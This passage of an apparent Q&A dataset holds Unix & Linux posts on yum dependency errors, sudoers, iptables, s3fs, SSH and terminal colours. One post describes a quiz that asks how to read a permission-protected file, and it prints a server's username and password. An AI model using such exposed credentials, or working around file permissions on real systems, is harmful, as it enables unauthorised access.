libexpat.so.0()(64bit) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: libcurl.so.3()(64bit) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: libcrypto.so.6()(64bit) for package: git-1.8.2.1-1.el5.x86_64 --> Running transaction check ---> Package compat-expat1.x86_64 0:1.95.8-8.el6 will be installed ---> Package git.x86_64 0:1.8.2.1-1.el5 will be installed --> Processing Dependency: libcurl.so.3()(64bit) for package: git-1.8.2.1-1.el5.x86_64 ---> Package openssl098e.x86_64 0:0.9.8e-17.el6.centos.2 will be installed ---> Package perl-Error.noarch 1:0.17015-4.el6 will be installed ---> Package perl-Git.x86_64 0:1.8.2.1-1.el5 will be installed --> Processing Dependency: perl(:MODULE_COMPAT_5.8.8) for package: perl-Git-1.8.2.1-1.el5.x86_64 ---> Package perl-TermReadKey.x86_64 0:2.30-13.el6 will be installed --> Finished Dependency Resolution Error: Package: perl-Git-1.8.2.1-1.el5.x86_64 (epel) Requires: perl(:MODULE_COMPAT_5.8.8) Error: Package: git-1.8.2.1-1.el5.x86_64 (epel) Requires: libcurl.so.3()(64bit) You could try using --skip-broken to work around the problem You could try running: rpm -Va --nofiles --nodigest [root@308321 sugar-dev]# yum -y install git --disablerepo=updates Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile * base: mirror.ubiquityservers.com * epel: www.gtlib.gatech.edu * extras: mirrors.usinternet.com Setting up Install Process Resolving Dependencies --> Running transaction check ---> Package git.x86_64 0:1.8.2.1-1.el5 will be installed --> Processing Dependency: perl-Git = 1.8.2.1-1.el5 for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: perl(Term::ReadKey) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: perl(Git) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: perl(Error) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: libssl.so.6()(64bit) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: libexpat.so.0()(64bit) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: libcurl.so.3()(64bit) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: libcrypto.so.6()(64bit) for package: git-1.8.2.1-1.el5.x86_64 --> Running transaction check ---> Package compat-expat1.x86_64 0:1.95.8-8.el6 will be installed ---> Package git.x86_64 0:1.8.2.1-1.el5 will be installed --> Processing Dependency: libcurl.so.3()(64bit) for package: git-1.8.2.1-1.el5.x86_64 ---> Package openssl098e.x86_64 0:0.9.8e-17.el6.centos.2 will be installed ---> Package perl-Error.noarch 1:0.17015-4.el6 will be installed ---> Package perl-Git.x86_64 0:1.8.2.1-1.el5 will be installed --> Processing Dependency: perl(:MODULE_COMPAT_5.8.8) for package: perl-Git-1.8.2.1-1.el5.x86_64 ---> Package perl-TermReadKey.x86_64 0:2.30-13.el6 will be installed --> Finished Dependency Resolution Error: Package: perl-Git-1.8.2.1-1.el5.x86_64 (epel) Requires: perl(:MODULE_COMPAT_5.8.8) Error: Package: git-1.8.2.1-1.el5.x86_64 (epel) Requires: libcurl.so.3()(64bit) You could try using --skip-broken to work around the problem You could try running: rpm -Va --nofiles --nodigest [root@308321 sugar-dev]# yum install git --disableexcludes=main --skip-broken Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile * base: mirror.ubiquityservers.com * epel: www.gtlib.gatech.edu * extras: mirrors.usinternet.com * updates: mirrors.serveraxis.net Setting up Install Process Resolving Dependencies --> Running transaction check ---> Package git.x86_64 0:1.8.2.1-1.el5 will be installed --> Processing Dependency: perl-Git = 1.8.2.1-1.el5 for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: perl(Term::ReadKey) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: perl(Git) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: perl(Error) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: libssl.so.6()(64bit) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: libexpat.so.0()(64bit) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: libcurl.so.3()(64bit) for package: git-1.8.2.1-1.el5.x86_64 --> Processing Dependency: libcrypto.so.6()(64bit) for package: git-1.8.2.1-1.el5.x86_64 --> Running transaction check ---> Package compat-expat1.x86_64 0:1.95.8-8.el6 will be installed ---> Package git.x86_64 0:1.8.2.1-1.el5 will be installed --> Processing Dependency: libcurl.so.3()(64bit) for package: git-1.8.2.1-1.el5.x86_64 ---> Package openssl098e.x86_64 0:0.9.8e-17.el6.centos.2 will be installed ---> Package perl-Error.noarch 1:0.17015-4.el6 will be installed ---> Package perl-Git.x86_64 0:1.8.2.1-1.el5 will be installed --> Processing Dependency: perl(:MODULE_COMPAT_5.8.8) for package: perl-Git-1.8.2.1-1.el5.x86_64 ---> Package perl-TermReadKey.x86_64 0:2.30-13.el6 will be installed --> Finished Dependency Resolution Packages skipped because of dependency problems: compat-expat1-1.95.8-8.el6.x86_64 from base git-1.8.2.1-1.el5.x86_64 from epel openssl098e-0.9.8e-17.el6.centos.2.x86_64 from base 1:perl-Error-0.17015-4.el6.noarch from base perl-Git-1.8.2.1-1.el5.x86_64 from epel perl-TermReadKey-2.30-13.el6.x86_64 from base [root@308321 sugar-dev]# git -bash: git: command not found [root@308321 sugar-dev]# [root@308321 sugar-dev]# uname -a Linux 308321.oliveyou.net 2.6.32-220.2.1.el6.x86_64 #1 SMP Fri Dec 23 02:21:33 CST 2011 x86_64 x86_64 x86_64 GNU/Linux"} {"_id": "91667", "title": "Features that Linux kernel has and Windows does not?", "text": "What are the significant technical features the Linux kernel has that the Windows does not? Something that I might _find on a kernel feature list_ , which is conceptually an advantage, or significantly different to, Windows. Perhaps something from access policies, networking, file management, etc...? I'm not looking for speed or memory benchmarks, but technical or architectural features that underpin the major difference between the two operating systems. EDIT: Yes. The Wikipedia comparison mentioned in the comment gives answers like I'm looking for. It seems fairly technical and maybe someone can write a small comment if the differences have practical _implications to the user_ (or performance). Here is a summary from the article: (why does Linux have many modules, while Windows only mentions one solution?) Linux Windows Virtualization: cgroups, chroot, KVM, ... Hyper-V Security: POSIX ACL ACL Profiling: OProbe, kprobe, ... Event tracing Soft/Hard-Realtime: Yes No Moreover the site mentions that Linux has the following while it's not sure if Windows can do it: * Capability-based security * In-kernel key management keyctl * Audit-API fanotify * Sandbox SELinux, KVM, seccomp * Synflood protection Syncookies Does it matter if Linux has more filesystems supported? Can you not have a Windows module? What does it mean that Linux has more ciphers and hash algorithms supported? Is it superior in performance as compare to a \"Windows addon solution\"? That's the summary I see in the Wiki. It's too technical for me to understand :/ Do you see something with implications for the user here? :)"} {"_id": "79052", "title": "Can't access XAMPP on Centos from other Windows PCs", "text": "I have a server with Centos 6 on it and I have installed XAMPP on it. I have this server on static IP address. But I can't access this server's IP address from other PCs. I tried to access XAMPP on another PC with a static IP address with Windows OS, and it works perfectly. Even accessing it from the server itself and it's open. But I can't access the server IP from any other PC. I can ping the server. I can access SSH using Putty on the server and login. But I can't open the localhost of the server from any other computer on the network."} {"_id": "91664", "title": "Unix files system related puzzle", "text": "There was a question in one of quiz conducted one year back. I was attempting to solve this question and got stuck. All the other were programming related but this one was a Unix file permissions related Stuff. Following is the scenario. You will be given a login and a password to a SSH server. `ssh your- username@server-addr` Your task is to look for a file named `/home/abc/chekme` and retrieve the contents. When logged in to the ssh remote server doing an `ls -l` shows 0 files, which shows that the login given has no permissions but on doing `ls -l` for the above mentioned file it can be seen that Read permission is given to the root user and a group and the name of the group is `chekme`. I can't read the file because I don't have the permission and am not a member of that group. On exploring the `/etc/group` file I found out that there is a group named `chekme` and only one user is added to that group. The user name is `guest` From here I tried changing my guid to that of the group, adding myself to the group, doing a `su` as the user `guest` but none of it worked since the first two required `root` access and `su` to guest required the password of that user. How do I proceed now ? Actual question with login creds : > File : /home/hacker-weekly/abacus > > So, you have to read the file '/home/hacker-weekly/abacus' and submit the > file content here. > > If you haven't got your login credentials, get it by clicking on the button > 'Get Login Credential' below. Then you can login into the machine by running > following command: > > ssh \"your-username\"@\"server-addr\" > > Hint: Think all about file permission in a UNIX-based system. > > Login credentials Server: ec2-175-41-164-254.ap- > southeast-1.compute.amazonaws.com Username: ashwinscongo Password: ab12d6H The group name is abacus, the user in that group is guest. Tried /etc/passwrd, couldn't make out anything."} {"_id": "91663", "title": "s3fs complains about SSH key or SSL cert - how to fix?", "text": "I downloaded and installed s3fs 1.73 on my Debian Wheezy system. The specific steps I took were, all as root: apt-get -u install build-essential libfuse-dev fuse-utils libcurl4-openssl-dev libxml2-dev mime-support ./configure --prefix=/usr/local make make install The installation went well and I proceeded to create a file `/usr/local/etc/passwd-s3fs` with my credentials copied from past notes (I'm pretty sure those are correct). That file is mode 0600 owner 0:0. Piecing together from the example on the web page and the man page, I then try a simple mount as a proof of concept to make sure everything works: $ sudo -i # s3fs mybucketname /mnt -o url=https://s3.amazonaws.com -o passwd_file=/usr/local/etc/passwd-s3fs In short: it doesn't. The mount point exists with reasonable permissions, and I get no error output from s3fs. However, nothing gets mounted on /mnt, `mount` has no idea about anything of the sort, and if I try `umount` it says about the directory \"not mounted\". The system logs say `s3fs: ###curlCode: 51 msg: SSL peer certificate or SSH remote key was not OK`, but **how do I find out which SSL certificate it is talking about or in what way was it not OK?** Firefox has no complaints when I connect to that URL but also redirects me to https://aws.amazon.com/s3/. **How do I get s3fs to actually work?**"} {"_id": "67740", "title": "cd to a directory and execute many commands", "text": "I have following script. #!/bin/bash mount /dev/sda6 /mnt/gentoo set +e cd /mnt/gentoo && mount -t proc none /mnt/gentoo/proc \\ && mount --rbind /dev /mnt/gentoo/dev \\ && mount --rbind /sys /mnt/gentoo/sys \\ && chroot /mnt/gentoo /bin/bash \\ && source /etc/profile \\ && export PS1=\"(chroot)$PS1\" What I am trying to accomplish here is to change to a directory `/mnt/gentoo` and execute few commands. This works ok first time when none of the path were mounted. But if I run it after mounting has been successfully performed on some paths, it does not continue and stops on first failure. I want all commands to be executed even if mount is failing due to 'already mounted' error. How can I do this? Also is there a better way than combining all these commands together in one line?"} {"_id": "67743", "title": "LXDE use WinKey to open AND close main menu (LXPANEL)", "text": "I was able to set `Winkey` to open the menu. But I expect that pressing it again would close the menu which is not happening. This issue is almost the same as this: GNOME: Use WinKey (Super_L) as a main menu toggle except this is for _LXDE_ and not _GNOME_."} {"_id": "67747", "title": "/nagios/cgi-bin/statusmap.cgi was not found on this server", "text": "I installed Nagios 3.4.4 on Ubuntu server 12.10. Installation was successful but now I'm not able to view maps and trends.When I try, I get the following error **`/nagios/cgi-bin/statusmap.cgi was not found on this server`** Why is this happening.What should be done for this."} {"_id": "67746", "title": "Why can't I use strace with rsh?", "text": "If I run rsh, it works, but prints some strange \u201cConnection refused\u201d messages at the beginning: $ rsh localhost pwd connect to address 127.0.0.1 port 544: Connection refused Trying krb4 rsh... connect to address 127.0.0.1 port 544: Connection refused trying normal rsh (/usr/bin/rsh) /home/service But if I run rsh under strace, it doesn't connect to the server at all: $ strace -c rsh localhost ulimit -n connect to address 127.0.0.1 port 544: Connection refused Trying krb4 rsh... connect to address 127.0.0.1 port 544: Connection refused trying normal rsh (/usr/bin/rsh) rcmd: socket: Permission denied % time seconds usecs/call calls errors syscall ------ ----------- ----------- --------- --------- ---------------- 28.39 0.000113 2 58 read 27.64 0.000110 16 7 write 16.83 0.000067 1 47 open 15.33 0.000061 2 27 munmap 11.81 0.000047 1 80 mmap 0.00 0.000000 0 58 close 0.00 0.000000 0 1 stat 0.00 0.000000 0 45 fstat .......................................... .......................................... .......................................... Here is an extract from `strace rsh localhost ulimit -n`: connect(3, {sa_family=AF_INET, sin_port=htons(544), sin_addr=inet_addr(\"127.0.0.1\")}, 16) = -1 ECONNREFUSED (Connection refused) write(2, \"Connection refused\\n\", 19) = 19 connect(3, {sa_family=AF_INET, sin_port=htons(544), sin_addr=inet_addr(\"127.0.0.1\")}, 16) = -1 ECONNREFUSED (Connection refused) write(2, \"Connection refused\\n\", 19) = 19 **Questions** 1. What is causing `port 544: Connection refused`? 2. Why does it show the error `rcmd: socket: Permission denied`? It should show some integer value (the output of `ulimit -n` on the remote machine)."} {"_id": "67749", "title": "In Dolphin file manager Fedora 17, what is the shortcut to create folder?", "text": "In Dolphin file manager Fedora 17, what is the shortcut to create the new folder. E.g. Ctrl + Shift + N creates new folder in Windows 7"} {"_id": "67748", "title": "Unable to connect to remote host using ssh", "text": "I have recently installed Fedora in my system. But I am facing some problem in ssh login from remote machine. I am able to login in that system but every time its requires me to login using GUI in that system. So if I reboot that system then after rebooting I won't be able to login until I go to that system and enter the password in GUI login. Here I have notice that system connection checkbox is disabled in my system. So why is this option disabled in my system? ![enter image description here](http://I.stack.imgur.com/vwxfG.png) Any help and suggestion will be appreciated. **Edit 1:** 1) yeah sshd is running in both system 2) here is the output of `ssh -v login@machine' command [root@localhost src]# ssh -v login@192.168.1.100 OpenSSH_5.6p1, OpenSSL 1.0.0j-fips 10 May 2012 debug1: Reading configuration data /root/.ssh/config debug1: Reading configuration data /etc/ssh/ssh_config debug1: Applying options for * debug1: Connecting to 192.168.1.100 [192.168.1.100] port 22. debug1: Connection established. debug1: permanently_set_uid: 0/0 debug1: identity file /root/.ssh/id_rsa type -1 debug1: identity file /root/.ssh/id_rsa-cert type -1 debug1: identity file /root/.ssh/id_dsa type -1 debug1: identity file /root/.ssh/id_dsa-cert type -1 debug1: Remote protocol version 2.0, remote software version OpenSSH_5.6 debug1: match: OpenSSH_5.6 pat OpenSSH* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_5.6 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-ctr hmac-md5 none debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Host '192.168.1.100' is known and matches the RSA host key. debug1: Found key in /root/.ssh/known_hosts:23 debug1: ssh_rsa_verify: signature correct debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: Roaming not allowed by server debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password debug1: Next authentication method: publickey debug1: Trying private key: /root/.ssh/id_rsa debug1: Trying private key: /root/.ssh/id_dsa debug1: Next authentication method: password login@192.168.1.100's password: debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password Permission denied, please try again."} {"_id": "151090", "title": "Script command without output", "text": "Is there something similar to `script` that records **ONLY** the commands and not any output from them to a file?"} {"_id": "77238", "title": "ssh-agent forwarding for a Vagrant VM", "text": "I'm currently looking at setting up a Vagrant environment on my Mac machine, so that I can run `vagrant up` and it will then install `rbenv` and `ruby` and all I need. Then I have a Bash script that will fetch all my repos from github. The only thing is that my new vagrant vm has to now generate a ssh key and then link it to my Github account. This can be cumbersome. Especially since I would like to share my Vagrant file with all those that have access to our repos so that they could do the same. So I thought I could try forwarding my hosts ssh to the VM so that the VM can forward my host ssh to Github. Following this article: Githubs walkthrough, I set my hosts ssh config: Host localhost ForwardAgent yes and set in my vagrant file Vagrant.configure(\"2\") do |config| config.ssh.forward_agent = true ... end and when I log into my VM and run the following command I get this error: $ ssh -T git@github.com` Permission denied (publickey) Is there anyone that has tried a similar setup? The VM is a precise64 box. EDIT: **`env`** : vagrant@precise64:~$ env TERM=xterm-256color SHELL=/bin/bash SSH_CLIENT=10.0.2.2 53068 22 SSH_TTY=/dev/pts/0 LC_ALL=en_US USER=vagrant LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36: RBENV_ROOT=/opt/rbenv SSH_AUTH_SOCK=/tmp/ssh-aDGJQD2812/agent.2812 MAIL=/var/mail/vagrant PATH=/opt/rbenv/shims:/opt/rbenv/bin:/opt/rbenv/bin/rbenv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/opt/vagrant_ruby/bin PWD=/home/vagrant SHLVL=1 HOME=/home/vagrant LOGNAME=vagrant SSH_CONNECTION=10.0.2.2 53068 10.0.2.15 22 LC_CTYPE=UTF-8 LESSOPEN=| /usr/bin/lesspipe %s LESSCLOSE=/usr/bin/lesspipe %s %s _=/usr/bin/env"} {"_id": "151095", "title": "Recover atime after vim", "text": "I've `vim`ed a file, and only afterwards realised that I need the `atime` (last access time) for the file. **Is there any way to recover the`atime` for a file after accessing it inadvertently?** The filesystem is mounted as so: UUID=XXXX /home ext4 defaults 0 2 I'm interested in a distro-neutral solution, however barring that I am currently using Ubuntu Server 12.04."} {"_id": "89812", "title": "The difference between \\e and ^[", "text": "Gilles wrote: > character 27 = 033 = 0x1b = `^[` = `\\e` Demizey wrote: > ^[ is just a representation of ESCAPE and \\e is interpreted as an actual > ESCAPE character Then I also found this line from a TechRepublic article > Make sure you write the key sequence as \\e[24~ rather than ^[[24~. This is > because the ^[ sequence is equivalent to the [Esc] key, which is represented > by \\e in the shell. So, for instance, if the key sequence was ^[[OP the > resulting bind code to use would be \\e[OP. But I have been using mappings that use ^[ instead of \\e. So are they interchangeable? When do I need use one instead of the other?"} {"_id": "151099", "title": "How to kill a process running in specific script", "text": "I have two script files running simultaneously. I just need to kill the `java` process running in one script without affecting the `java` process in the another one."} {"_id": "18830", "title": "How to run a specific program as root without a password prompt?", "text": "I need to run something as sudo without a password, so I used `visudo` and added this to my `sudoers` file: MYUSERNAME ALL = NOPASSWD: /path/to/my/program Then I tried it out: $ sudo /path/to/my/program [sudo] password for MYUSERNAME: Why does it ask for a password? How can I run/use commands as root with a non- root user, without asking for a password?"} {"_id": "92772", "title": "How to make sudo accept password automatically without prompting for it?", "text": "I created a user named shut so that whenever one logs in using that username the machine would shut down. For that I placed the below command in the end of the .profile. exec sudo shutdown -h now But this didn't serve the purpose. When the user shut logs in, rather than the machine shutting down, the login screen is coming back. So the user isn't able to log in but at the same time getting back the same login screen. The reason I feel is that because password for the user shut isn't provided , the machine isn't shutting down. And because of exec, the login screen is coming back (which is fine). Now to solve my work, I need a way so that it would automatically take my password when the above sudo command executes. I checked `man sudo` and I think `-A` option has to be used. Following that man page, I ran SUDO_ASKPASS=/home/ravbholua/pass.txt export SUDO_ASKPASS Then to check whether it's working, I ran ravbholua@ravbholua-Aspire-5315:~$ sudo -A pwd sudo: unable to run /home/ravbholua/pass.txt: Permission denied From this output, it means this path file has to run and provide my password as output to sudo. What earlier I thought, it would take the password from this file named pass.txt, so I entered my password in this file. But no!!!!!!! Any suggestions please!"} {"_id": "126188", "title": "How can I add sudo permission for copying?", "text": "my sudoers file: cat /etc/sudoers ... USERHERE ALL = NOPASSWD: /bin/cp /home/USERHERE/foo/in.csv /home/anotheruser/in.csv ... it looks OK too: USERHERE@notebook:~/foo$ sudo -l Matching Defaults entries for USERHERE on this host: env_reset, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User a may run the following commands on this host: (root) NOPASSWD: /bin/cp /home/USERHERE/foo/in.csv /home/anotheruser/in.csv (ALL : ALL) ALL USERHERE@notebook:~/foo$ but when I try it prompts for password, why? USERHERE@notebook:~$ sudo /bin/cp /home/USERHERE/foo/in.csv /home/anotheruser/in.csv [sudo] password for USERHERE: Using Ubuntu 12.04"} {"_id": "143677", "title": "No password to run command as root for fixed command?", "text": "Is it possible to define a rule in sudoers to allow one user to run one well defined command as root, without password or other authentication except being the right user? Are there alternatives to solve this (or something very similar)? Use suid permission bit? Maybe make use of ssh keys somehow?"} {"_id": "127761", "title": "I'm not getting privileges, edited /etc/sudoers", "text": "I want to run any program without asking root password. Because I'm the only person who use the system. So I googled and edited `/etc/sudoers`. What I did: # chmod 640 /etc/sudoers # vim /etc/sudoers Added a line like below: # User privilege specification root ALL=(ALL:ALL) ALL sgg ALL=(ALL:ALL) ALL saved and closed the file. Rebooted system. But no change/improvement. Am I want to change any other lines? or Is there any way? EDIT: 1.I changed permissions `/etc/sudoers` to `0440`. `ls -l /etc/sudoers` result is -r--r----- 1 root root 772 May 4 19:43 /etc/sudoers 2.I run `# visudo`. File content is Defaults env_reset Defaults mail_badpass Defaults secure_path=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\" # Host alias specification # User alias specification # Cmnd alias specification # User privilege specification root ALL=(ALL:ALL) ALL sgg ALL=NOPASSWD:ALL # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL But still it asking for password when I run `sudo ls`. **System Info** : `Ubuntu 14.04 x86_64 3.13.0-24-generic`"} {"_id": "67435", "title": "sudo: password prompted even when NOPASSWD is set", "text": "~/bin$ cat setbrightness id echo $1 > /sys/class/backlight/intel_backlight/brightness ~/bin$ whoami rag ~/bin$ sudo -l Matching Defaults entries for rag on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User rag may run the following commands on this host: (root) NOPASSWD: /home/rag/bin/setbrightness (ALL : ALL) ALL EDIT: /etc/sudoers Defaults env_reset Defaults mail_badpass Defaults secure_path=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\" # Host alias specification # User alias specification # Cmnd alias specification Cmnd_Alias SETBRIGHTNESS = /home/rag/bin/setbrightness # User privilege specification root ALL=(ALL:ALL) ALL rag ALL=NOPASSWD:SETBRIGHTNESS # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # See sudoers(5) for more information on \"#include\" directives: #includedir /etc/sudoers.d Run command ~/bin$ sudo /home/rag/bin/setbrightness 3000 [sudo] password for rag: Can someone please point out why the password is prompted when running `sudo` for that command?"} {"_id": "20797", "title": "How do you get NOPASSWD sudo option to work in Fedora 15?", "text": "> **Possible Duplicate:** > How to run a specific program as root without a password prompt? I installed fedora 15. I use `sudo visudo` to modify sudoers file and add the following line: USERNAME ALL=(ALL) NOPASSWD: ALL I then logout and login. I try doing any sudo command like `sudo gvim &`... but I am still getting prompted for password. **How do you get NOPASSWD sudo option to work in Fedora 15?** * Is my syntax wrong? * Is there some Fedora 15 thing that is preventing this to work? * * * UPDATE: After seeing answers below talking about \"the order of your sudoers file\" I decided to copy the full sudoers file in here. I took the liberty of removing most white space lines, all comments lines, and all lines containing the string \"Default\": root ALL=(ALL) ALL USERNAME ALL=NOPASSWD:ALL,/bin/mount,/bin/umount %wheel ALL=(ALL) ALL"} {"_id": "126268", "title": "Device in fstab not mounting at boot", "text": "The following is in my `/etc/fstab` file: UUID=596ac80a-5571-41dc-a00e-b3270ecfe7c4 / ext3 errors=remount-ro 0 1 /dev/sdb1 /home/teamspeak/ts3/files/virtualserver_1/channel_527 ext3 nofail,auto,noatime,rw,user 0 0 tmpfs /var/log tmpfs nofail,defaults,noatime,mode=0755,size=5M 0 0 but `/dev/sdb1` doesn't mount at boot time (if I write `mount` it doesn't show up in the list) , but it does if I then write `mount -a` EDIT It is an usb device, and option nofail needs to be present cause it prevents the machine to halt if plugged out and reboot. Tried _netdev option with no luck. right after boot `dmesg | tail` outputs [ 8.774931] sd 2:0:0:0: [sdb] Assuming drive cache: write through [ 8.775036] sdb: sdb1 [ 9.115231] sd 2:0:0:0: [sdb] Assuming drive cache: write through [ 9.115336] sd 2:0:0:0: [sdb] Attached SCSI removable disk then, after `mount -a` it adds: [ 2037.473279] kjournald starting. Commit interval 5 seconds [ 2037.475895] EXT3 FS on sdb1, internal journal [ 2037.475916] EXT3-fs: mounted filesystem with ordered data mode."} {"_id": "134423", "title": "iptables applied in local machine, Can't access remote ssh", "text": "I want to SSH to **192.168.1.15** server from my machine, my ip was **192.168.1.99**. Source destination was UP, with IP **192.168.1.15**. This is a LAN, there are 30 machines connected to the network and working fine, I'm playing around the local machines cos i need to apply the same rules in production VPS. I have applied the below iptables in my machine 192.168.1.99. Now i can't receive any packets from outside and i can't send any packets outside, while applying the below chain iptables -P INPUT DROP iptables -P OUTPUT DROP iptables -P FORWARD DROP After the above CHAIN i have added the below rules and it want to allow ssh from machine to **192.168.1.15** to access the **192.164.1.15** but still i can't access **192.168.1.15**. iptables -A INPUT -p tcp -i eth0 --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -p tcp -o eth0 --sport 22 -m state --state ESTABLISHED -j ACCEPT iptables -A OUTPUT -o eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A INPUT -i eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT Any one please check whether my rules are right. Still i can't access the machine 15."} {"_id": "94171", "title": "fedora 19: unable to update or install - \"Could not resolve host...\"", "text": "I cannot update as no mirror is found: [root@localhost ~]# yum update Loaded plugins: langpacks, refresh-packagekit Could not get metalink https://mirrors.fedoraproject.org/metalink?repo=fedora-19&arch=i386 error was 14: curl#6 - \"Could not resolve host: mirrors.fedoraproject.org; Name or service not known\" http://www.mirrorservice.org/sites/dl.fedoraproject.org/pub/fedora/linux/releases/19/Everything/i386/os/repodata/repomd.xml: [Errno 14] curl#6 - \"Could not resolve host: www.mirrorservice.org; Name or service not known\" Trying other mirror. ftp://ftp.mirrorservice.org/sites/dl.fedoraproject.org/pub/fedora/linux/releases/19/Everything/i386/os/repodata/repomd.xml: [Errno 14] curl#6 - \"Could not resolve host: ftp.mirrorservice.org; Name or service not known\" Trying other mirror. I can ping this and every other address that fails: [root@localhost ~]# ping www.mirrorservice.org PING www.mirrorservice.org (212.219.56.184) 56(84) bytes of data. 64 bytes from www.mirrorservice.org (212.219.56.184): icmp_seq=1 ttl=50 time=19.6 ms 64 bytes from www.mirrorservice.org (212.219.56.184): icmp_seq=2 ttl=50 time=19.6 ms 64 bytes from www.mirrorservice.org (212.219.56.184): icmp_seq=3 ttl=50 time=19.7 ms 64 bytes from www.mirrorservice.org (212.219.56.184): icmp_seq=4 ttl=50 time=20.1 ms ^C --- www.mirrorservice.org ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3004ms rtt min/avg/max/mdev = 19.607/19.788/20.104/0.189 ms ### UPDATE #1 Here's the output from the following command: $ URLGRABBER_DEBUG=1,debug.log yum update"} {"_id": "23618", "title": "Gentoo Gnome 3.2 Wireless \"Connecting...\"", "text": "I recently updated my Gentoo with GNOME 2.x to GNOME 3.2. My NetworkManager applet refuses to connect to my network; however, it does not give an error as it simply hangs as \"Connecting...\" I checked `/var/log/messages` and it seems that NetworkManager is simply not performing Step 5 of 5 to connect to the network. I am given an IP Address lease when it completes step 4... But step 5 is never started."} {"_id": "149749", "title": "Defining color codes in rxvt-unicode", "text": "Using some of `node.js` tools like `mocha` in my `urxvt` terminal, I have some problems with coloured output. Some of the text that are using colour code 90 as you can see here will be disappeared in terminal. `tput colors` output is: 256 And using this command: (x=`tput op` y=`printf %76s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}(x=`tput op` y=`printf %76s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}$x;done)$x;done) It seems I have all available colours. But when I try to echo something like this: echo '\\e[0;90m shahin \\e[m ' There will be a just an empty line printed! Is there anyway to define this colour code manually? Thank you all! Update: I think some images will describe the situation much better. Here is an image of 